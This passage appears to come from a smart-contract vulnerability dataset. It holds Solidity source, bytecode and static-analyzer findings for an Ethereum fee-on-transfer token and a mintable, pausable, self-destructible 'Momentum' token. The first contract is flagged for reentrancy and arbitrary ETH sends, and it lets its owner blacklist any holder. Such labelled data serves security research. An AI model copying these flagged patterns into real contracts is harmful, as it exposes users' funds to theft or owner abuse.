require(cooldown[from].buy < block.timestamp + (21 seconds));
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 100000000 * 10**9;
_maxHeldTokens = 200000000 * 10**9;
}
function setMaxTxn(uint maxbuy, uint maxheld) external {
require(_msgSender() == _TaxAdd);
require(maxbuy > 100000000 * 10**9);
require(maxheld > 200000000 * 10**9);
_maxBuyAmount = maxbuy;
_maxHeldTokens = maxheld;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105af578063db92dbb6146105c4578063dcb0e0ad146105d9578063dd62ed3e146105f9578063e8078d941461063f57600080fd5b8063a3f4782f1461053a578063a9059cbb1461055a578063b515566a1461057a578063c3c8cd801461059a57600080fd5b806373f54a11116100dc57806373f54a11146104aa5780638da5cb5b146104ca57806394b8d8f2146104e857806395d89b411461050857600080fd5b8063590f897e1461044a5780636fc3eaec1461046057806370a0823114610475578063715018a61461049557600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103bb57806340b9a54b146103f457806345596e2e1461040a57806349bd5a5e1461042a57600080fd5b806327f3a72a14610349578063313ce5671461035e57806331c2d8471461038557806332d873d8146103a557600080fd5b8063104ce66d116101c1578063104ce66d146102c057806318160ddd146102f85780631940d0201461031357806323b872dd1461032957600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026e5780630b78f9c01461029e57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d4c69717569642046696e616e636560901b81525081565b60405161021e9190611882565b34801561027a57600080fd5b5061028e6102893660046118fc565b610654565b604051901515815260200161021e565b3480156102aa57600080fd5b506102be6102b9366004611928565b61066a565b005b3480156102cc57600080fd5b506008546102e0906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561030457600080fd5b50678ac7230489e80000610214565b34801561031f57600080fd5b50610214600e5481565b34801561033557600080fd5b5061028e61034436600461194a565b6106ec565b34801561035557600080fd5b50610214610740565b34801561036a57600080fd5b50610373600981565b60405160ff909116815260200161021e565b34801561039157600080fd5b506102be6103a03660046119a1565b610750565b3480156103b157600080fd5b50610214600f5481565b3480156103c757600080fd5b5061028e6103d6366004611a66565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561040057600080fd5b50610214600a5481565b34801561041657600080fd5b506102be610425366004611a83565b6107dc565b34801561043657600080fd5b506009546102e0906001600160a01b031681565b34801561045657600080fd5b50610214600b5481565b34801561046c57600080fd5b506102be61087d565b34801561048157600080fd5b50610214610490366004611a66565b6108aa565b3480156104a157600080fd5b506102be6108c5565b3480156104b657600080fd5b506102be6104c5366004611a66565b610939565b3480156104d657600080fd5b506000546001600160a01b03166102e0565b3480156104f457600080fd5b5060105461028e9062010000900460ff1681565b34801561051457600080fd5b50610261604051806040016040528060068152602001652634b8a334b760d11b81525081565b34801561054657600080fd5b506102be610555366004611928565b6109a7565b34801561056657600080fd5b5061028e6105753660046118fc565b6109fa565b34801561058657600080fd5b506102be6105953660046119a1565b610a07565b3480156105a657600080fd5b506102be610b20565b3480156105bb57600080fd5b506102be610b56565b3480156105d057600080fd5b50610214610d17565b3480156105e557600080fd5b506102be6105f4366004611aaa565b610d2f565b34801561060557600080fd5b50610214610614366004611ac7565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064b57600080fd5b506102be610da2565b6000610661338484610f6a565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068a57600080fd5b600a548210801561069c5750600b5481105b6106a557600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106f984848461108e565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610728908490611b16565b9050610735853383610f6a565b506001949350505050565b600061074b306108aa565b905090565b6008546001600160a01b0316336001600160a01b03161461077057600080fd5b60005b81518110156107d85760006005600084848151811061079457610794611b2d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107d081611b43565b915050610773565b5050565b6008546001600160a01b0316336001600160a01b0316146107fc57600080fd5b600081116108415760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461089d57600080fd5b476108a78161154f565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260040161083890611b5e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461095957600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610872565b6008546001600160a01b0316336001600160a01b0316146109c757600080fd5b67016345785d8a000082116109db57600080fd5b6702c68af0bb14000081116109ef57600080fd5b600d91909155600e55565b600061066133848461108e565b6000546001600160a01b03163314610a315760405162461bcd60e51b815260040161083890611b5e565b60005b81518110156107d85760095482516001600160a01b0390911690839083908110610a6057610a60611b2d565b60200260200101516001600160a01b031614158015610ab1575060075482516001600160a01b0390911690839083908110610a9d57610a9d611b2d565b60200260200101516001600160a01b031614155b15610b0e57600160056000848481518110610ace57610ace611b2d565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b1881611b43565b915050610a34565b6008546001600160a01b0316336001600160a01b031614610b4057600080fd5b6000610b4b306108aa565b90506108a781611589565b6000546001600160a01b03163314610b805760405162461bcd60e51b815260040161083890611b5e565b60105460ff1615610b9057600080fd5b600754610bb09030906001600160a01b0316678ac7230489e80000610f6a565b6007546001600160a01b031663f305d7194730610bcc816108aa565b600080610be16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c49573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c6e9190611b93565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610cc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ceb9190611bc1565b506010805460ff1916600117905542600f5567016345785d8a0000600d556702c68af0bb140000600e55565b60095460009061074b906001600160a01b03166108aa565b6008546001600160a01b0316336001600160a01b031614610d4f57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610872565b6000546001600160a01b03163314610dcc5760405162461bcd60e51b815260040161083890611b5e565b60105460ff1615610ddc57600080fd5b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610e41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e659190611bde565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed69190611bde565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f479190611bde565b600980546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610fcc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610838565b6001600160a01b03821661102d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610838565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161580156110d057506001600160a01b03821660009081526005602052604090205460ff16155b80156110ec57503360009081526005602052604090205460ff16155b6110f557600080fd5b6001600160a01b0383166111595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610838565b6001600160a01b0382166111bb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610838565b6000811161121d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610838565b600080546001600160a01b0385811691161480159061124a57506000546001600160a01b03848116911614155b156114f0576009546001600160a01b03858116911614801561127a57506007546001600160a01b03848116911614155b801561129f57506001600160a01b03831660009081526004602052604090205460ff16155b156113db5760105460ff166112f65760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610838565b600f54421415611324576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d5482111561133357600080fd5b600e5461133f846108aa565b6113499084611bfb565b111561135457600080fd5b6001600160a01b03831660009081526006602052604090206001015460ff166113bc576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff161580156113f5575060105460ff165b801561140f57506009546001600160a01b03858116911614155b156114f05761141f426015611bfb565b6001600160a01b0385166000908152600660205260409020541061144257600080fd5b600061144d306108aa565b905080156114d95760105462010000900460ff16156114d057600c5460095460649190611482906001600160a01b03166108aa565b61148c9190611c13565b6114969190611c32565b8111156114d057600c54600954606491906114b9906001600160a01b03166108aa565b6114c39190611c13565b6114cd9190611c32565b90505b6114d981611589565b4780156114e9576114e94761154f565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061153257506001600160a01b03841660009081526004602052604090205460ff165b1561153b575060005b61154885858584866116fd565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107d8573d6000803e3d6000fd5b6010805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106115cd576115cd611b2d565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611626573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061164a9190611bde565b8160018151811061165d5761165d611b2d565b6001600160a01b0392831660209182029290920101526007546116839130911684610f6a565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906116bc908590600090869030904290600401611c54565b600060405180830381600087803b1580156116d657600080fd5b505af11580156116ea573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6000611709838361171f565b905061171786868684611743565b505050505050565b600080831561173c5782156117375750600a5461173c565b50600b545b9392505050565b6000806117508484611820565b6001600160a01b0388166000908152600260205260409020549193509150611779908590611b16565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546117a9908390611bfb565b6001600160a01b0386166000908152600260205260409020556117cb81611854565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161181091815260200190565b60405180910390a3505050505050565b6000808060646118308587611c13565b61183a9190611c32565b905060006118488287611b16565b96919550909350505050565b3060009081526002602052604090205461186f908290611bfb565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156118af57858101830151858201604001528201611893565b818111156118c1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108a757600080fd5b80356118f7816118d7565b919050565b6000806040838503121561190f57600080fd5b823561191a816118d7565b946020939093013593505050565b6000806040838503121561193b57600080fd5b50508035926020909101359150565b60008060006060848603121561195f57600080fd5b833561196a816118d7565b9250602084013561197a816118d7565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119b457600080fd5b823567ffffffffffffffff808211156119cc57600080fd5b818501915085601f8301126119e057600080fd5b8135818111156119f2576119f261198b565b8060051b604051601f19603f83011681018181108582111715611a1757611a1761198b565b604052918252848201925083810185019188831115611a3557600080fd5b938501935b82851015611a5a57611a4b856118ec565b84529385019392850192611a3a565b98975050505050505050565b600060208284031215611a7857600080fd5b813561173c816118d7565b600060208284031215611a9557600080fd5b5035919050565b80151581146108a757600080fd5b600060208284031215611abc57600080fd5b813561173c81611a9c565b60008060408385031215611ada57600080fd5b8235611ae5816118d7565b91506020830135611af5816118d7565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611b2857611b28611b00565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611b5757611b57611b00565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600080600060608486031215611ba857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611bd357600080fd5b815161173c81611a9c565b600060208284031215611bf057600080fd5b815161173c816118d7565b60008219821115611c0e57611c0e611b00565b500190565b6000816000190483118215151615611c2d57611c2d611b00565b500290565b600082611c4f57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ca45784516001600160a01b031683529383019391830191600101611c7f565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220cfbd58aaac3118b956b3fa1f62ca3ddc412213e3834687842bf2552206fee86064736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,280 |
0x9f22a13204c09e0f89144b63da0588a836c07931
|
pragma solidity ^0.4.20;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Destructible
* @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner.
*/
contract Destructible is Ownable {
function Destructible() public payable { }
/**
* @dev Transfers the current balance to the owner and terminates the contract.
*/
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* Token Definition
**/
contract MomentumToken is MintableToken,BurnableToken,PausableToken,Destructible {
string public name = "Momentum";
string public symbol = "MMTM";
uint256 public decimals = 18;
//override
function burn(uint256 _value) onlyOwner public {
super.burn(_value);
}
}
|
0x6060604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012c57806306fdde0314610153578063095ea7b3146101dd57806318160ddd146101ff57806323b872dd14610224578063313ce5671461024c5780633f4ba83a1461025f57806340c10f191461027457806342966c68146102965780635c975abb146102ac57806366188463146102bf57806370a08231146102e15780637d64bcb41461030057806383197ef0146103135780638456cb59146103265780638da5cb5b1461033957806395d89b4114610368578063a9059cbb1461037b578063d73dd6231461039d578063dd62ed3e146103bf578063f2fde38b146103e4578063f5074f4114610403575b600080fd5b341561013757600080fd5b61013f610422565b604051901515815260200160405180910390f35b341561015e57600080fd5b610166610432565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a257808201518382015260200161018a565b50505050905090810190601f1680156101cf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e857600080fd5b61013f600160a060020a03600435166024356104d0565b341561020a57600080fd5b6102126104fb565b60405190815260200160405180910390f35b341561022f57600080fd5b61013f600160a060020a0360043581169060243516604435610501565b341561025757600080fd5b61021261052e565b341561026a57600080fd5b610272610534565b005b341561027f57600080fd5b61013f600160a060020a03600435166024356105b4565b34156102a157600080fd5b6102726004356106c2565b34156102b757600080fd5b61013f6106e9565b34156102ca57600080fd5b61013f600160a060020a03600435166024356106f9565b34156102ec57600080fd5b610212600160a060020a036004351661071d565b341561030b57600080fd5b61013f610738565b341561031e57600080fd5b6102726107c3565b341561033157600080fd5b6102726107ec565b341561034457600080fd5b61034c610871565b604051600160a060020a03909116815260200160405180910390f35b341561037357600080fd5b610166610880565b341561038657600080fd5b61013f600160a060020a03600435166024356108eb565b34156103a857600080fd5b61013f600160a060020a036004351660243561090f565b34156103ca57600080fd5b610212600160a060020a0360043581169060243516610933565b34156103ef57600080fd5b610272600160a060020a036004351661095e565b341561040e57600080fd5b610272600160a060020a03600435166109f9565b60035460a060020a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104c85780601f1061049d576101008083540402835291602001916104c8565b820191906000526020600020905b8154815290600101906020018083116104ab57829003601f168201915b505050505081565b60035460009060a860020a900460ff16156104ea57600080fd5b6104f48383610a20565b9392505050565b60015490565b60035460009060a860020a900460ff161561051b57600080fd5b610526848484610a8c565b949350505050565b60065481565b60035433600160a060020a0390811691161461054f57600080fd5b60035460a860020a900460ff16151561056757600080fd5b6003805475ff000000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035460009033600160a060020a039081169116146105d257600080fd5